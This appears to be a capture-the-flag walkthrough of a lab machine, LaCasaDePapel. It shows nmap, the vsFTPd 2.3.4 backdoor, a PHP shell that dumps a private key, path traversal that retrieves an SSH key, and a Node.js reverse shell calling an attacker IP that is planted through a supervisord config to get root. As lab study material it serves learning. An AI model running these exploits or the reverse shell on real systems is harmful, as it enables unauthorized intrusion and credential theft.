

```
root@kali:~/Masaüstü# nmap -sS --open -T4 10.10.10.131
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-01 17:58 +03
Nmap scan report for 10.10.10.131
Host is up (0.082s latency).
Not shown: 512 closed ports, 484 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
```

```
root@kali:~/Masaüstü# ftp 10.10.10.131
Connected to 10.10.10.131.
220 (vsFTPd 2.3.4)
Name (10.10.10.131:root): USER:)
331 Please specify the password.
Password:
^C
421 Service not available, remote server has closed connection
```

```
root@kali:~/Masaüstü# nc 10.10.10.131 6200
Psy Shell v0.9.9 (PHP 7.2.10 - cli) by Justin Hileman
file_get_contents('/home/nairobi/ca.key')
=> ""
-----BEGIN PRIVATE KEY-----\n
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBAKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb\n
7MJsi//m8mm5rEkXcDmrAtVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/\n
2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl\n
uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M\n
YQ4Ulx0aGUdXKmQx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp\n
s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcARpu6Sm73FH2j6Xu63Xc9d1D989+Us\n
PCe7nAxnAgMBAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V\n
Dj75Hw6vc7JJiQlXlm9n0eynR33c0FVXRABg2R5niMy7djuXmuWxLxgM8UIAeU89\n
l+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmlLoe3Xy2EnGvA0aFZ\n
/CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+\n
q0rLBKoX0be5esfBjQGH0dHnKPLLYyZCREQ8hclLMWlzgDLvA/8pxHMxk0W8k3Mr\n
uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd\n
I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxFN0mhP9+k3ue3BhfUweIL90g\n
7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlG0FE+T1npgCCGD4hpB+nXTu9Xw2bE\n
G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3Dp0wBWC3Vfk6wqZKxLrMBxtDmn\n
sqBjrd8pbpXRqj6zqIydwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH\n
CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y\n
sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y0lg4MVCciKhNI\n
ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2\n
zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/\n
ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61E0HtzeNUsZbjaylgxC\n
9amA0SaoePSTfyoZ8R17oeAktQJtMcs2n50n0bbHjqcLJtFZfnIarHQETHLiQH9M\n
WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM\n
7b75PUQYxXRrVNluzvwdHmZENqsKucXJ6uZG9skiqDlslhYmda00mQajW3ys4TsR\n
aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc\n
53udBEzjt3WPqYGkkDknVhjD\n
-----END PRIVATE KEY-----\n
""
```

```
root@kali:~/Masaüstü# openssl req -new -x509 -days 365 -key ca.key -out ca.crt
```

You are about to be asked to enter information that will be incorporated into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:TR

State or Province Name (full name) [Some-State]:ISTANBUL

Locality Name (eg, city) []:KADIKOY

Organization Name (eg, company) [Internet Widgits Pty Ltd]:

Organizational Unit Name (eg, section) []:

Common Name (e.g. server FQDN or YOUR name) []:

Email Address []:

```
root@kali:~/Masaüstü#
```

```
root@kali:~/Masaüstü# openssl pkcs12 -export -clcerts -in ca.crt -inkey ca.key -out client.p12
```

Enter Export Password:

Verifying - Enter Export Password:





```
+
Search HTML
<!DOCTYPE html>
<html lang="en">
  <head>
  </head>
  <body>
    <div>
      <h1>PRIVATE AREA</h1>
      
      <h2 id="h2_wait" style="display: none;">
      <ul id="ui_list" style="">
        <li>
          <a href="/file/U0VBu090LTeVMDuYXZp">01.avi</a>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
        <li>
        </li>
      </ul>
    </div>
  </body>
</html>
```

html > body > div > ul#ui_list > li > a

```
Rules
Filter Styles
element {
}
a {
  color: #aaa;
  font-size: 14px;
  font-weight: bold;
  text-decoration: none;
}
Inherited from body
body {
  text-align: center;
  font-family: Courier;
}
```

```
root@kali:~/Masaüstü# echo "U0VBU090LTEvMDEuYXZp" | base64 -d  
SEASON-1/01.aviroot@kali:~/Masaüstü#
```

```
root@kali:~/Masaüstü# nc 10.10.10.131 6200
Psy Shell v0.9.9 (PHP 7.2.10 - cli) by Justin Hileman
scandir('/home/berlin')
=> [
    ".",
    "..",
    ".ash_history",
    ".ssh",
    "downloads",
    "node_modules",
    "server.js",
    "user.txt",
]
```



```
root@kali: ~/Masaüstü
File Edit View Search Terminal Tabs Help
root@kali: ~/Masaüstü x root@kali: ~/Masaüstü x root@kali: ~/Masaüstü x root@kali: ~/Masaüstü x
root@kali:~/Masaüstü# echo "../user.txt"|base64
Li4vdXNlci50eHQK
root@kali:~/Masaüstü#
```

You have chosen to open `echo '../user.txt'|base64`

≡ `user.txt`

`http://10.10.10.131/file/base64_hash`

which is: Python File (no console) (33 bytes)

from: `https://10.10.10.131`

What should Firefox do with this file?

☒ Open with

Leafpad (default) ▼

☐ Save File

☐ Do this automatically for files like this from now on.

`4dcbd172fc9c9ef2ff65c13448d9062d`

Opening id_rsa



echo '../.ssh/id_rsa'|base64

You have chosen to open: http://10.10.10.131/file/base64_hash

≡ id_rsa

which is: Python File (no console) (3.3 KB)

from: <https://10.10.10.131>

What should Firefox do with this file?

☐ Open with

Text Editor (default)



☒ Save File

☐ Do this automatically for files like this from now on.

Cancel

OK


```
root@kali:~/.ssh# chmod 600 id_rsa
root@kali:~/.ssh# ssh -i id_rsa professor@10.10.10.131
```

LaCadePapel

```
lacasadepapel [~]$ ls -la
total 24
drwxr-sr-x   4 professor professor 4096 Apr  3 07:13 .
drwxr-xr-x   7 root      root      4096 Feb 16 18:06 ..
lrwxrwxrwx   1 root      professor 9 Nov  6 23:10 .ash_history -> /dev/null
drwx-----  2 professor professor 4096 Jan 31 21:36 .ssh
-rw-r--r--   1 professor professor 72 Apr  3 07:13 memcached.ini
-rw-r-----  1 root      nobody    434 Jan 29 01:24 memcached.js
drwxr-sr-x   9 root      professor 4096 Jan 29 01:31 node_modules
lacasadepapel [~]$ cat memcached.
cat: can't open 'memcached.': No such file or directory
lacasadepapel [~]$ cat memcached.ini
[program:memcached]
command = sudo -u nobody touch /home/professor/test
lacasadepapel [~]$ cat memcached.js
cat: can't open 'memcached.js': No such file or directory
lacasadepapel [~]$ cat memcached.js
cat: can't open 'memcached.js': Permission denied
```

```
lacasadepapel [~]$ mv memcached.ini memcached.ini.old
lacasadepapel [~]$ mv memcached.js memcached.js.old
lacasadepapel [~]$ ls -la
total 24
drwxr-sr-x   4 professo professo   4096 Apr  3 07:17 .
drwxr-xr-x   7 root      root     4096 Feb 16 18:06 ..
lrwxrwxrwx   1 root      professo    9 Nov  6 23:10 .ash_history -> /dev/null
drwx-----  2 professo professo   4096 Jan 31 21:36 .ssh
-rw-r--r--   1 professo professo    72 Apr  3 07:13 memcached.ini.old
-rw-r-----  1 root      nobody    434 Jan 29 01:24 memcached.js.old
drwxr-sr-x   9 root      professo   4096 Jan 29 01:31 node_modules
```

The Node.js reverse shell

The Javascript code below is a Node.js reverse shell.

Remember to change the IP address and PORT with the nc you are running.

```
(function(){
  var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("/bin/sh", []);
  var client = new net.Socket();
  client.connect(8080, "192.168.33.1", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
  return /a/; // Prevents the Node.js application from crashing
})();
```



```
on wxcl 31 x 3 root process  
Lacasadepapel [-]$ vi memcached.js
```

```
(function(){  
  var net = require("net"),  
      cp = require("child_process"),  
      sh = cp.spawn("/bin/sh", []);  
  var client = new net.Socket();  
  client.connect(4444, "10.10.13.95", function(){  
    client.pipe(sh.stdin);  
    sh.stdout.pipe(client);  
    sh.stderr.pipe(client);  
  });  
  return /a/;  
})();
```

```
[program:memcached]    vi memcached.ini  
    command = sudo -u root /usr/bin/node /home/professor/memcached.js
```



```
root@kali:~/Masaüstü# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.13.95] from (UNKNOWN) [10.10.10.131] 37518
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
cat /root/root.txt
586979c48efbef5909a23750cc07f511
```